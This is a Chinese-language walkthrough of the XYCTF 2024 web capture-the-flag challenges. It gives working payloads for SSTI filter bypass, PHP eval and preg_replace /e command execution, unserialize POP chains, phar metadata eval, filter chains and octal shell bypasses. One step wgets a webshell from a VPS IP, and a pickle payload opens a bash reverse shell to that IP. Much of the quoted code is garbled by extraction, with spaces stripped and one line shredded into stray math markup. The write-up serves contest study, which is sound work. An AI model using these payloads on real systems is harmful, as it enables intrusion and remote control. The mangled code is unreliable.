0


XYCTF 2024 Web

Web

我是一个复读机

用户名密码:admin/asdqwe

进入以后就是ssti模板注入,但是禁用了{ [ ’ "

后来发现只要输入中文,就可以进行模板注入了

[ 方括号被禁用可以使用__getitem__绕过

双引号单引号被禁用,使用使用request.values.a绕过

http://xyctf.top:45993/index
?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read()

此题的源码

from flask import*import urllib.parse

app = flask(__name__)
app.secret_key ='lzlcnb'# 设置会话密钥,用于加密会话数据@app.route('/', methods=['get','post'])deflogin():if request.method =='post':
        username = request.form['username']
        password = request.form['password']# 进行登录验证逻辑,如验证用户名密码是否匹配等# 登录验证成功if username=='admin'and password=='asdqwe':
            session['username']= username
            return redirect('/index')return render_template('login.html')@app.route('/index')defindex():if'username'in session:try:# word=request.args.get('sentence')# if word=="{{}}":#     word=none
            flag=0
            word = request.args.get('sentence')
        
            balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']for i in balck_array:if word!=none and i in word:
                    word="what are you doing,little hacker"breakif word isnot none:for i inrange(len(word)):iford(word[i])>128:
                        word='{'+word[0:i]+word[i+1:]+'}'

                        flag+=1else:
                word="what do you want to say"if flag:
                word="我只能看懂你说的英文(>﹏<)"+word

            if"{{}}"in word:
                word = word.replace("{{}}",'{ {}}')
            html='''
        <!doctype html>
<html>
<head>
    <title>我是一个复读机</title>
    <style>
        body {{
            font-family: arial, sans-serif;
            background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
            background-size: cover;
            background-position: center;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }}
        form {{
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            width: 800px;
        }}
        h2 {{
            text-align: center;
            color: #333;
        }}
        label {{
            display: block;
            margin-top: 10px;
            color: #555;
        }}
        input[type="text"],
        input[type="password"] {{
            width: 100%;
            padding: 8px;
            margin-top: 4px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }}
        input[type="submit"] {{
            width: 100%;
            padding: 8px;
            margin-top: 10px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }}
        input[type="submit"]:hover {{
            background-color: #0056b3;
        }}
    </style>
</head>
<body>
    <form action="/index" method="get">
        <h2>我的宝,你说什么我就说什么</h2>
        <label for="sentence">你想说的话</label>
        <input type="text" id="sentence" name="sentence" required>

        <input type="submit" value="tell me">
        <h2>{}</h2>
    </form>
</body>
</html>'''.format(word)return render_template_string(html)except exception  as e:return"出现了一点小问题"else:return redirect('/')if __name__ =='__main__':
    app.run(host='0.0.0.0',debug=true,port=8080)

ez?Make

禁用字符如下:

/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/

payload使用正则表达式绕过

cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort [!b-eh-z][!b-km-z][!b-z][!b-eh-z]

ezMake

直接访问路径/flag,就可以得到flag

牢牢记住,逝者为大

<?phphighlight_file(__FILE__);functionKobe($cmd){if(strlen($cmd)>13){die("see you again~");}if(preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i",$cmd)){die("肘死你");}foreach($_GETas$val_name=>$val_val){if(preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i",$val_val)){return"what can i say";}}return$cmd;}$cmd=Kobe($_GET['cmd']);echo"#man,".$cmd.",manba out";echo"<br>";eval("#man,".$cmd.",mamba out");

绕过注释符,使用回车符

并且这题因为长度的限制,所以无法回显,只能使用反引号

由于使用不了>,所以无法常规的去反弹shell,但是wget命令可以使用,所以我们可以在vps中写入木马文件,然后下载到靶机

payload

http://xyctf.top:46257/?cmd=%0a`$_GET[0]`;%23&0=wget http://60.204.170.160:8989/1.php -O 123.php

warm up

<?phpinclude'next.php';highlight_file(__FILE__);$XYCTF="Warm up";extract($_GET);if(isset($_GET['val1'])&&isset($_GET['val2'])&&$_GET['val1']!=$_GET['val2']&&md5($_GET['val1'])==md5($_GET['val2'])){echo"ez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if(isset($md5)&&$md5==md5($md5)){echo"ezez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if($XY==$XYCTF){if($XY!="XYCTF_550102591"&&md5($XY)==md5("XYCTF_550102591")){echo$level2;}else{die("什么情况,这么基础的md5做不来");}}else{die("学这么久,传参不会传?");}

第一个if也就是正常的弱比较

第二个if无非就是加密前的明文要为0e开头,然后加密后的hash值也是0e开头

第三个if也是弱比较,主要是通过extract变量覆盖去修改两个变量的值

payload

http://xyctf.top:46282/?val1=s1885207154a&val2=s1502113478a&md5=0e215962017&XY=s1885207154a&XYCTF=s1885207154a

得到页面:LLeeevvveeelll222.php

<?phphighlight_file(__FILE__);if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){echo"操作你O.o";echopreg_replace($_GET['a'],$_GET['b'],$_GET['c']);// 我可不会像别人一样设置10来个level}else{die("有点汗流浃背");}

第一层if使用数组绕过

然后就是preg_replace /e命令执行

http://xyctf.top:46282/LLeeevvveeelll222.php?a=/233/e&b=phpinfo()&c=233
post: a[]=1

ezPOP

源代码

<?phperror_reporting(0);highlight_file(__FILE__);classAAA{public$s;public$a;publicfunction__toString(){echo"you get 2 A <br>";$p=$this->a;return$this->s->$p;}}classBBB{public$c;public$d;publicfunction__get($name){echo"you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if(isset($b['a'])){unset($b['a']);}call_user_func($a,$b)($c)($d);}}classCCC{public$c;publicfunction__destruct(){echo"you get 2 C <br>";echo$this->c;}}if(isset($_GET['xy'])){$a=unserialize($_GET['xy']);thrownewException("noooooob!!!");}

首先要先绕过GC垃圾回收机制,不然无法正常反序列化执行destruct魔术方法

使用数组绕过

$a=array($c,0)echoserialize($a);

pop链

<?phpclassAAA{public$s;public$a;}classBBB{public$c;public$d;}classCCC{public$c;}$c=newCCC;$c->c=newAAA;$c->c->s=newBBB;$a=array($c,0);echoserialize($a);

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}
把后面的i:1改成i:0,不然还是无法绕过的
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:0;i:0;}

在这里插入图片描述

然后关键的代码就是在

publicfunction__get($name){echo"you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if(isset($b['a'])){unset($b['a']);}call_user_func($a,$b)($c)($d);}

最后一行call_user_func(

     a 
    
   
     , 
    
   
  
    a, 
   
  
a,b)( 
 
  
   
   
     c 
    
   
     ) 
    
   
     ( 
    
   
  
    c)( 
   
  
c)(d);

这个的意思其实也就是将call_user_func执行后的结果传递给下一个函数c进行处理,然后d为函数c的参数

分析传参:

a 为取数组里面的元素

b 是数组,这里面放要处理c的函数

最终payload

http://xyctf.top:46310/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}
post:  a=array_shift&b=strrev

最终的目的就是array_shift函数取出数组b里面的第一个元素也就是strrev函数

然后strrev函数会处理temsys,反转过来就是system

最后就是命令执行

ezmd5

上传两个由fastcoll生成的图片

在这里插入图片描述

ezhttp

在这里插入图片描述

在这里插入图片描述

referer绕过

在这里插入图片描述
然后得到

登录成功!
你用的不是XYCTF的浏览器

user-agent绕过

在这里插入图片描述

登录成功!
非本地用户禁止访问!

Client-ip绕过
在这里插入图片描述

登录成功!
不是从 ymzx.qq.com 代理来的我不玩
在这里插入图片描述

登录成功!
有点饿,想吃点XYCTF的小饼干

在这里插入图片描述

登录成功!
恭喜你拿到flag!
XYCTF{3aa4c02c-5f02-433e-84e2-5137245fd057}

ezSerialize

第一层

<?php
classFlag{
    public $token;
    public $password;}
$a = new Flag();
$a->password =1;
$a->password =&$a->token;
echo serialize($a);

第二层

<?php
classA{
    public $mack;}classB{
    public $luo;}classC{
    public $wang1;}classD{
    public $lao;
    public $chen;}classE{
    public $name ="xxxxx";
    public $num;}

$e = new E;
$e->name = new D;
$e->name->lao = new B;
$e->name->lao->luo = new A;
$e->name->lao->luo->mack = new C;
echo serialize($e);

第三层

<?php// flag.phpclassXYCTFNO1{public$Liu;public$T1ng;private$upsw1ng;}classXYCTFNO2{public$crypto0;public$adwa;}classXYCTFNO3{public$KickyMu;public$fpclose;public$N1ght="Crypto0";}$x1=newXYCTFNO3;$x1->KickyMu=newXYCTFNO2;$x1->KickyMu->adwa->crypto0="dev1l";$x1->KickyMu->adwa->T1ng="yuroandCMD258";$x1->N1ght="oSthing";echoserialize($x1);

pharme

<?phpclassevil{public$cmd;public$a;}

@unlink("phar.phar");$phar=newPhar("phar.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub$o=newevil();$o->cmd="eval(end(getallheaders()));__halt_compiler();";$phar->setMetadata($o);//将自定义的meta-data存入manifest$phar->addFromString("test.txt","test");//添加要压缩的文件//签名自动计算$phar->stopBuffering();

然后绕过__HALT_COMPILER();

import gzip
from hashlib import sha1
withopen('phar.phar','rb')asfile:
    f =file.read()
s = f[:-28]# 获取要签名的数据
h = f[-8:]# 获取签名类型以及GBMB标识
newf = s + sha1(s).digest()+ h # 数据 + 签名 + (类型 + GBMB)#print(newf)
newf = gzip.compress(newf)#对Phar文件进行gzip压缩withopen('newquanqi.png','wb')asfile:#更改文件后缀file.write(newf)

连连看到底是连连什么看

<?phphighlight_file(__FILE__);error_reporting(0);$p=$_GET['p'];if(preg_match("/http|=|php|file|:|\/|\?/i",$p)){die("waf!");}$payload="php://filter/$p/resource=/etc/passwd";if(file_get_contents($payload)==="XYCTF"){echofile_get_contents('/flag');}

php_filter_chain这个工具直接生成

python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后,使用string.strip.tag过滤器绕过

在这里插入图片描述

为什么可以绕过,这是因为

string.strip_tags等同于strip_tags(),去除html、PHP语言标签

下面有一个实例

在这里插入图片描述

ezRCE

<?phphighlight_file(__FILE__);functionwaf($cmd){$white_list=['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];$cmd_char=str_split($cmd);foreach($cmd_charas$char){if(!in_array($char,$white_list)){die("really ez?");}}return$cmd;}$cmd=waf($_GET["cmd"]);system($cmd);

只能有数字,并且是system直接执行

可以使用八进制进行绕过,但要注意八进制不能加参数

$'\154\163'ls
$'\143\141\164'<$'\57\146\154\141\147'    cat /flag

ezClass

<?phphighlight_file(__FILE__);$a=$_GET['a'];$aa=$_GET['aa'];$b=$_GET['b'];$bb=$_GET['bb'];$c=$_GET['c'];((new$a($aa))->$c())((new$b($bb))->$c());

意思也就是,让我们使用两个原生类,将第一个原生类的结果丢给后面的原生类进行处理

太麻烦了,一个原生类就够了

a=SplFileObject&aa=/flag&c=fgets
这个方法读取文件内容有限,只能显示第一个行,但是读取flag文件足矣了

login

import pickle
import base64
# class pay(object):#     def __reduce__(self):#         return (eval,("print(123)",))# a = pickle.dumps(pay())# a = base64.b64encode(a)
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'
o.'''# print(pickle.dumps(c))# print(a)print(base64.b64encode(c))

εZ?¿м@Kε¿?

hint.php内容

/^[$|\(|\)|\@|\[|\]|\{|\}|\<| \>|\-]+$/

我们只能输入这个正则里面的符号,通过对makefile的理解

这题是借用makefile的自动变量可以读取到flag的内容

https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html

得到如下的payload

$$(<$<)

在这里插入图片描述

give me flag

hash长度扩展攻击

<?phpinclude('flag.php');$FLAG_md5=md5($FLAG);if(!isset($_GET['md5'])||!isset($_GET['value'])){highlight_file(__FILE__);die($FLAG_md5);}$value=$_GET['value'];$md5=$_GET['md5'];$time=time();if(md5($FLAG.$value.$time)===$md5){echo"yes, give you flag: ";echo$FLAG;}
f6ab6309f305e0f1b61cbec905c4c01f

拿已知的md5值,加上预定的时间戳

在这里插入图片描述

https://tool.lu/timestamp/

然后抓包bp,value填入长度为43的明文,再传入新的md5

在这里插入图片描述

这题多少有点圣经,很容易跑崩,懒得复现了

标签: web安全

本文转载自: https://blog.csdn.net/weixin_45906533/article/details/138304821
版权归原作者 Ten^v^ 所有, 如有侵权,请联系我们删除。

“XYCTF 2024 Web”的评论:

还没有评论